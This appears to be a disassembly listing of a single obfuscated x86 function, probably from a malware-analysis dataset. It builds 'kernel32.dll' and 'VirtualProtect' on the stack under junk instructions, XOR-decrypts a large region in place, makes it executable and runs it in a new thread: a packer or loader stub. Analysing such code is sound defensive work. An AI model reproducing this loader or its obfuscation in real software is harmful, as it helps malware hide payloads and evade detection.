Function at 0x44835f7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
mov edi, edi
mov ebx, ebx
call fcn.044839ed
mov eax, eax
pushfd
push 0x16aada86
add esp, 4
popfd
lea eax, [ebp - 0xd8]
push ebx
push esi
pop esi
pop ebx
pushfd
inc ebx
dec ebx
popfd
mov ebx, 0x61
push edx
push ecx
pop ecx
pop edx
xchg edx, eax
xchg edx, eax
add bx, 0xa
push eax
push edx
pop edx
pop eax
xchg edi, esi
xchg esi, edi
mov word [eax], bx
push ebx
pop ebx
sub bx, 6
push ecx
pop ecx
mov word [eax + 2], bx
pushfd
inc eax
dec eax
popfd
add bx, 0xd
mov edi, edi
mov word [eax + 4], bx
pushfd
inc eax
dec eax
popfd
sub bx, 4
xchg edi, edx
xchg edx, edi
xchg ebx, eax
xchg ebx, eax
mov word [eax + 6], bx
pushfd
inc ecx
dec ecx
popfd
pushfd
push 0x460a5cba
add esp, 4
popfd
sub bx, 9
xchg edi, edi
pushfd
xor esi, 0x19126c5c
xor esi, 0x19126c5c
popfd
mov word [eax + 8], bx
push ebx
pop ebx
add bx, 7
push edi
pop edi
pushfd
xor ebx, 0x4fa84f5f
xor ebx, 0x4fa84f5f
popfd
mov word [eax + 0xa], bx
pushfd
push edx
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
sub bx, 0x39
pushfd
xor esi, 0x93c3a7bb
xor esi, 0x93c3a7bb
popfd
mov word [eax + 0xc], bx
mov edx, edx
dec bx
push edi
pop edi
push edi
push ecx
pop ecx
pop edi
mov word [eax + 0xe], bx
pushfd
push edx
add esp, 4
popfd
push ecx
pop ecx
sub bx, 4
push esi
push eax
pop eax
pop esi
pushfd
xor eax, 0xd7210882
xor eax, 0xd7210882
popfd
mov word [eax + 0x10], bx
push edx
push eax
pop eax
pop edx
pushfd
push ecx
add esp, 4
popfd
add bx, 0x36
pushfd
push eax
add esp, 4
popfd
push edi
pop edi
mov word [eax + 0x12], bx
push esi
push edi
pop edi
pop esi
mov ecx, ecx
add bx, 8
push edi
pop edi
mov word [eax + 0x14], bx
pushfd
inc edx
dec edx
popfd
pushfd
xor eax, 0xdcc3e230
xor eax, 0xdcc3e230
popfd
mov word [eax + 0x16], bx
mov ebx, ebx
xchg esi, esi
mov word [eax + 0x18], 0
xchg ebx, ebx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
xchg ebx, edi
xchg edi, ebx
mov dword [ebp - 0x10], eax
pushfd
xor edi, 0x3193b6e0
xor edi, 0x3193b6e0
popfd
xchg ecx, ebx
xchg ebx, ecx
lea eax, [ebp - 0xd8]
push edx
push eax
pop eax
pop edx
mov ebx, 0x61
pushfd
xor eax, 0xf5193a37
xor eax, 0xf5193a37
popfd
sub bl, 0xb
push ebx
pop ebx
mov byte [eax], bl
pushfd
push eax
add esp, 4
popfd
add bl, 0x13
pushfd
push 0x1e54465
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 1], bl
pushfd
push edi
add esp, 4
popfd
add bl, 9
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 2], bl
pushfd
xor ebx, 0xc5f91ab3
xor ebx, 0xc5f91ab3
popfd
pushfd
push 0x428fd5e
add esp, 4
popfd
add bl, 2
xchg ecx, ecx
mov byte [eax + 3], bl
mov edx, edx
inc bl
xchg ecx, ecx
pushfd
inc edi
dec edi
popfd
mov byte [eax + 4], bl
xchg ecx, eax
xchg ecx, eax
sub bl, 0x14
xchg ecx, ecx
mov byte [eax + 5], bl
pushfd
push eax
add esp, 4
popfd
add bl, 0xb
pushfd
inc ebx
dec ebx
popfd
nop
mov byte [eax + 6], bl
xchg edx, edx
push eax
push esi
pop esi
pop eax
sub bl, 0x1c
push esi
push edi
pop edi
pop esi
push eax
pop eax
mov byte [eax + 7], bl
mov ebx, ebx
push esi
push eax
pop eax
pop esi
add bl, 0x22
xchg esi, eax
xchg esi, eax
mov byte [eax + 8], bl
xchg ebx, ecx
xchg ecx, ebx
sub bl, 3
xchg edx, edx
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 9], bl
pushfd
xor edx, 0xfcf3d889
xor edx, 0xfcf3d889
popfd
pushfd
xor edx, 0x1a263780
xor edx, 0x1a263780
popfd
add bl, 5
mov ecx, ecx
mov byte [eax + 0xa], bl
xchg edi, ebx
xchg ebx, edi
sub bl, 0xf
pushfd
xor edx, 0x36fde69
xor edx, 0x36fde69
popfd
pushfd
inc eax
dec eax
popfd
mov byte [eax + 0xb], bl
push edi
pop edi
push eax
pop eax
sub bl, 2
pushfd
inc edi
dec edi
popfd
xchg ecx, eax
xchg ecx, eax
mov byte [eax + 0xc], bl
xchg ecx, esi
xchg esi, ecx
mov edi, edi
add bl, 0x11
push edi
pop edi
mov esi, esi
mov byte [eax + 0xd], bl
pushfd
push 0xd9de7a34
add esp, 4
popfd
mov byte [eax + 0xe], 0
mov eax, eax
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
push 0xdb2d6ce7
add esp, 4
popfd
mov dword [ebp - 0xc], eax
pushfd
push 0xdb729191
add esp, 4
popfd
lea eax, [ebp - 8]
pushfd
push 0xb377a4c0
add esp, 4
popfd
push eax
push 4
push 0x5e1957
push entry0
call dword [ebp - 0xc]
pushfd
push 0x70c9c54e
add esp, 4
popfd
xchg ebx, ebx
mov edi, entry0
pushfd
push ecx
add esp, 4
popfd
pushfd
push 0xf0dd97b4
add esp, 4
popfd
mov esi, 0x40100e
xchg ebx, ebx
pushfd
push 0xa678d909
add esp, 4
popfd
mov ecx, 0x5e1957
xchg edx, edx
mov edx, 0xa7202f0f
xchg edx, edi
xchg edi, edx
mov ebx, 0xffefdffd
push ebx
pop ebx
cld
mov esi, esi
lodsb al, byte [esi]
xchg esi, esi
xor al, dl
mov ebx, ebx
stosb byte es:[edi], al
mov ecx, ecx
ror edx, 5
nop
imul edx, edx, 7
xchg edx, edx
test ebx, 1
xchg ebx, ebx
je 0x448394b
xchg ebx, ebx
add esi, 0xb
mov edx, edx
ror ebx, 1
mov eax, eax
dec ecx
mov eax, eax
test ecx, ecx
xchg ebx, ebx
jne 0x4483925
pushfd
push esi
add esp, 4
popfd
pushfd
xor esi, 0x7e98114a
xor esi, 0x7e98114a
popfd
lea eax, [ebp - 8]
push esi
pop esi
pushfd
inc ecx
dec ecx
popfd
push eax
push 0x20
push 0x5e1957
push entry0
call dword [ebp - 0xc]
push ecx
push esi
pop esi
pop ecx
pushfd
xor edx, 0xc4ae4ef3
xor edx, 0xc4ae4ef3
popfd
lea eax, [ebp - 4]
pushfd
push 0xaea7eff4
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
push ecx
push edi
pop edi
pop ecx
pushfd
push 0x43c709d0
add esp, 4
popfd
xchg edi, edi
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
mov edx, edx
jmp 0x44839ca